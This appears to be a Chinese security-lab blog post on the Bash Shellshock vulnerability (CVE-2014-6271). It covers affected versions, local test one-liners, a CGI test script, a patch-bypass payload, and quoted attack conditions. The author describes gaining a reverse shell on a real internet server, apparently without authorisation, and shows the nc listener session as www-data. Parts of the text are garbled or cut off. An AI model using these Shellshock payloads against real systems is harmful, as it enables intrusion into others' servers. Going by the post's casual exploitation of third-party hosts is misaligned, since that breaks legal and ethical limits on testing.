来源：Mickey@360网络攻防实验室
Stephane Schazelas最近发现BASH的一个BUG,问题在于BASH在处理环境变量的时候，这个漏洞影响bash版本1.14 - 4.3，
受影响的发行版本包括:
Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
CentOS (versions 5 through 7)
Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
Debian
本地测试方法：
|
1
|
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" |
上面是我在kali上的测试结果
远程测试方法：
首先用BASH写一个CGI
root@kali:/usr/lib/cgi-bin# cat bug.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</ht放到/usr/lib/cgi-bin里，然后用curl访问
能打印出环境变量了。说明能够正常访问了。下面我们来反弹一个SHELL
访问看结果
后续其他的测试还在进行中。
注：android版本的bash也受影响
参考文档：
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
实际互联网测试例子：
root@kali:~# nc -vvlp 8080
listening on [any] 8080 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 41997
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),50001(gforge),50002(stats),50003(news),50006(tmp)
$ exit
sent 8, rcvd 161成功利用一个，这居然是perl脚本，cgi的运行都受到影响。思考：难道是因为#!这个的意思，启动。。。启动。。。^_^
sh-4.1$ head moon.cgi
head moon.cgi
#!/usr/bin/perl
#
# moon.cgi
# Display a Moon image using the skycalc program
# by John Thorstensen and images generated by mp.
#
# Brian Casey
# Imagiware, Inc.我自己机器的perl cgi没有利用成功，猜想和web server有关系，哎，还是知识不够。
老外文章有提到条件：
Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string)
ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.
DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.
Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.
Any other application which is hooked onto a shell or runs a shell script as using bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.
刚刚那个moon.cgi的perl脚本里面估计调用了oepn/exec之类的fork了bash
另外出的补丁，好像也能绕过，参考这里
https://twitter.com/taviso/status/514887394294652929
利用：
|
1
|
env lol='() { (nothing)=>\' sh -c "echo date"; echo “vulnerable" |
老外说的SSH利用，是需要账号的，更多的是越权，参考
https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/
老外的SNORT的防护规则
http://www.volexity.com/blog/?p=19
另一个互联网实际的反弹SHELL例子：
